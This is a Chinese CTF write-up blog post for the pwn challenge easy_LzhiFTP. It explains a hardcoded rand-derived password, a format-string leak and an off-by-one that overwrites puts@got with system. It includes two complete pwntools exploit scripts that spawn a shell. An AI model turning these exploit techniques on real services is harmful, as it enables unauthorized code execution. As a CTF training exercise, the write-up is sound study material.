首页 > 其他分享 >2023春秋杯春季赛 easy_LzhiFTP

2023春秋杯春季赛 easy_LzhiFTP

时间:2023-06-09 09:03:08浏览次数:37  
标签:files puts number content easy 2023 LzhiFTP got buf

分析

保护机制

$ checksec --file=easy_LzhiFTP
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		4		easy_LzhiFTP

逻辑梳理

ida打开可执行文件。main函数里的有一个登录函数:

__int64 login()
{
  char s2[4]; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = rand() % 115;
  *(_DWORD *)s2 = v2 * rand() % 200;
  puts("################-- ichunqiu --################");
  puts("Welcome to IMLZH1-FTP Server");
  puts("IMLZH1-FTP:) want get flag??");
  printf("Username: ");
  read(0, byte_4120, 0x20uLL);
  printf("Hello %s", byte_4120);
  printf("Input Password: ");
  read(0, s1, 0x20uLL);
  if ( strcmp(s1, s2) )
  {
    puts("Password error.");
    exit(0);
  }
  puts("Login succeeded.");
  is_Login_succeeded = 1;
  return 0LL;
}

可以看到,密码是基于随机函数rand生成的,但是因为没有用srand设置随机数种子,所以password的值是不变的,为0xa00000072

 ► 0x55555555558b    call   strcmp@plt                <strcmp@plt>
        s1: 0x555555558140 ◂— 0xa3030785c /* '\\x00\n' */
        s2: 0x7fffffffdec0 ◂— 0xa00000072 /* 'r' */
 

登陆成功后,就可以进入交互部分了。

  printf("do you like my Server??(yes/No)");
  fgets(byte_4968, 8, stdin);                   // 输入
  if ( !strncmp(byte_4968, "No", 2uLL) )
  {
    printf("Your Choice:");
    printf(byte_4968);                          // fmt
    puts("\nNo Thank you liking.");
  }
  else if ( !strncmp(byte_4968, "yes", 3uLL) )
  {
    printf("Your Choice:");
    printf(byte_4968);                          // fmt
    puts("\nThank you liking.");
  }

printf("do you like my Server??(yes/No)");后面存在格式化字符串漏洞,可以用来泄露程序基址,进而计算puts的真实got地址,和system的真实plt地址。

输入touch指令“创建”文件,需要写入文件名和文件内容。文件名和内容有长度限制无法溢出。

if ( !strncmp(s1, "touch", 5uLL) && files_number_4C00 <= 16 && strlen(s1) > 6 )
    {
      strncat(&filename_buf_4A80[8 * files_number_4C00], &s1[6], 7uLL);// &s1[6]是文件名字符串
      puts("touch file success!!");
      *((_QWORD *)&content_buf_4B00 + files_number_4C00) = malloc(0x100uLL);
      // content_buf每+1就是其实就是地址加8,因为content_buf是_QWORD类型,也就是说它指向的内存都是以8字节为单位。
                                                // 即相当于将 content_buf 所指向的内存地址后面第 files_number 个 _QWORD 元素(即 8 字节)的值作为内存地址进行存储
                                                // 而这个内存地址又指向一个大小为0x100的内存空间
      printf("write Context:");
      read(0, *((void **)&content_buf_4B00 + files_number_4C00), 0x38uLL);// 写入
      printf("The content of %s is: ", &filename_buf_4A80[8 * files_number_4C00]);// 打印文件名
      printf("%s\n", *((const char **)&content_buf_4B00 + files_number_4C00));// 打印内容
      ++files_number_4C00;
    }

看看content_buf_4B00和filename_buf_4A80的位置:
img

可以看到,这两个区块是相邻的。逻辑上,filename_buf_4A80会存放16个文件名,files_number_4C00记录文件数量。但是在“del”那段代码可以看到,del时并没有对files_number_4C00进行变化,而同时,content_buf_4B00和filename_buf_4A80都基于files_number_4C00来计算偏移,当files_number_4C00等于16时就会使filename_buf_4A80的内容溢出到content_buf_4B00。

files_number_4C00 <= 16 造成了溢出,应该改为小于号

关于files_number_4C00的值可以在调试的时候查看,它的地址是程序基址+0x4c00。

而“edit”那段代码则是修改*((void **)&content_buf_4B00 + buf)的值。

    if ( !strncmp(s1, "edit", 4uLL) )
    {
      buf = 0;
      puts("idx:");
      read(0, &buf, 3uLL);
      buf = atoi((const char *)&buf);
      if ( buf > 15 )
      {
        puts("Error,");
      }
      else
      {
        printf("Content: ");
        read(0, *((void **)&content_buf_4B00 + buf), 0x20uLL);// edit的内容
        printf("%s\n", *((const char **)&content_buf_4B00 + buf));
      }
    }

再看“ls”处理代码

    if ( !strncmp(s1, "ls", 2uLL) && files_number_4C00 )
    {
      for ( i = 0; i <= 15; ++i )
        puts(&filename_buf_4A80[8 * i]);
    }

puts函数打印文件名。同时因为Partial RELRO,所以可以覆写puts@got的值,而程序本身有调用system函数,就不需要去泄露libc基址来找system的真实地址,即使puts@got的值为system的plt地址,然后文件名是/bin/sh\x00,就能够getshell。

步骤如下:

  1. 用调试得到的密码完成登录
  2. 利用格式化字符串漏洞泄露puts函数的真实地址
  3. 连续调用16次touch
  4. del掉索引为0的文件,files_number_4C00依然为15(从0开始)
  5. 再次touch,这次的文件名为puts@got,files_number_4C00加1,覆盖了content_buf_4B00的值
  6. edit修改,*((void **)&content_buf_4B00 + buf)依然是一个指针,值为puts@got,那么修改值为system的真实地址
  7. 输入ls,getshell

exp

from pwn import *
import sys

if len(sys.argv) == 3:
    (ip,port) = (sys.argv[1],sys.argv[2])
    p = remote(ip,port)
else:
    p = process('./easy_LzhiFTP')
    context(os='linux',arch='amd64',log_level='debug')
    # gdb.attach(p)

lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

elf = ELF('./easy_LzhiFTP')
password = 0xa00000072

# login
p.sendlineafter("Username: ",'h')
p.sendlineafter("Password: ",p64(password))

# leak
Login_succeeded = next(elf.search(b"Login succeeded"))
lg('Login_succeeded')

p.sendlineafter("(yes/No)",'No%6$p')
p.recvuntil('0x')
program_base = int(p.recv(12),16) - Login_succeeded 
lg('program_base')
puts_got = elf.got['puts'] + program_base
lg('puts_got')

system = elf.plt['system'] + program_base
lg('system')


# overflow
## touch
for i in range(0x10):
    p.sendlineafter("IMLZH1-FTP> ",'touch /bin/sh\x00')
    p.sendlineafter("write Context:","hacking")

## del
p.sendlineafter("IMLZH1-FTP> ",'del')
p.sendlineafter("idx:",'0')

## touch
p.sendlineafter("IMLZH1-FTP> ",b'touch ' + p64(puts_got)) #touch后面有一个空格
p.sendlineafter("write Context:","hacking")

## debug
p.sendlineafter("IMLZH1-FTP> ",'debug')

## edit
p.sendlineafter("IMLZH1-FTP> ",'edit')
p.sendlineafter("idx:","0")
p.sendafter("Content: ",p64(system))


## ls
p.sendlineafter("IMLZH1-FTP> ",'ls')

p.interactive()

除了可以改写puts@got,也可以改写free@got,而content为/bin/sh\x00,其余操作类似,最后del触发。

下面是一位大佬的writeup:

from pwn import *

from struct import pack

 

def s(a):

  p.send(a)

def sa(a, b):

  p.sendafter(a, b)

def sl(a):

  p.sendline(a)

def sla(a, b):

  p.sendlineafter(a, b)

def r():

  p.recv()

def pr():

  print(p.recv())

def rl(a):

  return p.recvuntil(a)

def inter():

  p.interactive()

def debug():

  gdb.attach(p)

  pause()

def get_addr():

  return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

 

context(os='linux', arch='amd64', log_level='debug')

p = process('./easy_LzhiFTP')

#p = remote('39.106.48.123', 18593)

elf = ELF('./easy_LzhiFTP')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(name, data):

  sla('FTP> ', b'touch ' + name)

  sa('Context:', data)

def show():

  sla('FTP> ', b'cat')

def edit(idx, data):

  sla('FTP> ', b'edit')

  sa('idx', str(idx))

  sa('Content: ', data)

def free(idx):

  sla('FTP> ', b'del')

  sa('idx:', str(idx))

sa(b'name: ', b'a'*0x20)

sa(b'Password: ', p64(0x0000000a00000072))

sla(b'No)', b'No%25$p')
 
#pause()

rl(b'0x')

pie = int(p.recv(12), 16) -7381

print("-------------------------pie",hex(pie))

for i in range(0x10):

  add(b'aaaa', b'/bin/sh\x00')

free(0)

add(p64(pie + elf.got['free']), b'a'*8)

edit(0, p64(pie + elf.sym['system']))
free(4)
inter()

总结

程序基址和libc基址是不一样的。
由于ASLR和PIE的保护,静态下获取的got地址----puts_got = elf.got['puts'],其实只是一个偏移值。这个偏移值加上程序基址才能得到真实的程序运行时的got表上puts函数的地址。这个和ret2libc类似。ret2program?
img
这次春季赛好像特别喜欢出伪随机数。

标签:files,puts,number,content,easy,2023,LzhiFTP,got,buf
From: https://www.cnblogs.com/liulangbxc/p/17468155.html

相关文章

  • 2023-6-8
    才过了几天,我就突然开始有点厌倦写日记了?我可真是太怕麻烦了,总是要想着今天要写些什么意义的事情。其实不应该这样,我自己的日记,不开心的也好,开心的也好,唠叨一点全记录下来就好了,想到什么就写些什么,这才是最好的方式。这几天的头晕很折腾自己,一度怀疑是不是脑子已经不行了,我中午睡......
  • SONiC 202305 Release内容
    SONiC社区采用Github平台进行项目管理,Github平台不仅仅提供代码的托管服务,还能提供IsuueTracking,Releasemanagement等RequirementEngineering的功能。在GithubSONiC页面上选择Projects/SONiC202305Release以后,可以看到表格的形式显示的该Release计划的77个Issue的内容。到......
  • 2023年4月阅读笔记1
    为什么巴比伦塔会失败巴比伦塔的制造是一个神话故事,但是其中的道理却对今天人们的协作有着重要的启示。软件系统的开发完全通过计算机执行,为什么还是很少有远程协作的企业,这是因为远程协作很容易导致交流的缺失。大型的软件项目开发需要团队中的每个人能及时了解到整个团队在做些......
  • 2023年4月阅读笔记2
    未雨绸缪我们在实现功能时往往有很多思路,但是哪种思路能行得通并且最适合情况就需要我们进行试验性开发。试验性开发确实会造成精力的消耗,或许大量的测试方案最终还会被舍弃,但是我们必须这样做。实际上如果不进行方案的实验,正式的开发反而可能遭遇返工和混乱的拆补,会严重分散重新......
  • 2023年4月阅读笔记3
    整体部分面向对象编程的“封装”思想和结构化编程的“精化”思想对于整个软件开发过程的各个粒度同样适用。整体的顺利运行离不开各个组成部分的优化。编码时各个信息隐藏的模块需要完成各自的任务,再通过接口互相配合。测试时需要从最小的单元测试开始,每一粒度都测试完全时,整个系......
  • 2023春招:Javaweb面试锦囊
    cookie和session的区别?(必会)存储位置不同cookie存放在客户端电脑,是一个磁盘文件。Ie浏览器是可以从文件夹中找到。session是存放在服务器内存中的一个对象。chrome浏览器进行安全处理,只能通过浏览器找到。Session是服务器端会话管理技术,并且session就是cookie实现的。......
  • 2023春季招聘面试集锦:MYSQL数据库高频面试题
    mysql索引的数据结构,各自优劣索引的数据结构和具体存储引擎的实现有关,在MySQL中使用较多的索引有Hash索引,B+树索引等,InnoDB存储引擎的默认索引实现为:B+树索引。对于哈希索引来说,底层的数据结构就是哈希表,因此在绝大多数需求为单条记录查询的时候,可以选择哈希索引,查询性能最快;其余大......
  • 使用EasyCVR语音对讲时,设备端没有收到音频流是什么原因?
    EasyCVR视频融合平台可支持海量视频的轻量化接入与汇聚管理。在视频能力上,EasyCVR平台可实现视频直播、录像、回放、检索、云存储、告警上报、语音对讲、电子地图、集群、智能分析以及平台级联等。有用户反馈,使用EasyCVR平台语音对讲时,只有视频端的音频,平台对讲的设备端没声音,请求......
  • 使用EasyCVR语音对讲时,设备端没有收到音频流是什么原因?
    EasyCVR视频融合平台可支持海量视频的轻量化接入与汇聚管理。在视频能力上,EasyCVR平台可实现视频直播、录像、回放、检索、云存储、告警上报、语音对讲、电子地图、集群、智能分析以及平台级联等。有用户反馈,使用EasyCVR平台语音对讲时,只有视频端的音频,平台对讲的设备端没声音,请......
  • 执行EasyCVR程序报错提示lib不是ELF文件,该如何解决?
    EasyCVR基于云边端一体化架构,具有强大的数据接入、处理及分发能力,平台可在复杂的网络环境中,将分散的各类视频资源进行统一汇聚、整合、集中管理。在视频能力上,平台可实现视频直播、录像、回放、检索、云存储、告警上报、语音对讲、H.265自动转码、电子地图、集群、智能分析以及平台......